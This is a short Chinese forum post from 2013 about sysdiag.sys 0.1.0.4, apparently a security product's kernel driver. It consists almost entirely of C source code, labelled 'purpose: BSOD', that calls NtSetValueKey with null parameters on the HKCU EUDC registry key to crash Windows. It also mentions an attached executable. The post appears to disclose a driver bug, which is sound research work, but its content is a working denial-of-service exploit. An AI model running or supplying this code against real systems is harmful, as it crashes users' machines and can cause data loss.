本帖最后由 KiDebug 于 2013-2-19 23:04 编辑
sysdiag.sys 0.1.0.4,数字签名时间:2013年2月19日 16:07:53
- /********************************************************************
- author: KiDebug
- purpose: BSOD
- *********************************************************************/
- #include <Windows.h>
- typedef ULONG (__stdcall *NtSetValueKey_ ) ( HANDLE, ULONG, ULONG, ULONG, ULONG, ULONG );
- void main()
- {
- HMODULE hNtdll = NULL;
- HKEY hKey = NULL;
- NtSetValueKey_ NtSetValueKey = NULL;
-
- hNtdll = GetModuleHandle( L"ntdll.dll" );
- if ( hNtdll == NULL )
- {
- goto Exit0;
- }
- NtSetValueKey = (NtSetValueKey_)GetProcAddress( hNtdll, "NtSetValueKey" );
- if ( NtSetValueKey == NULL )
- {
- goto Exit0;
- }
- if ( RegOpenKeyEx(HKEY_CURRENT_USER,L"EUDC",0,KEY_QUERY_VALUE,&hKey) != ERROR_SUCCESS )
- {
- goto Exit0;
- }
- NtSetValueKey( hKey, 1, 0, 0, 0, 0 );
- Exit0:
- if ( hKey )
- {
- RegCloseKey(hKey);
- }
- return;
- }
复制代码 附个EXE:
|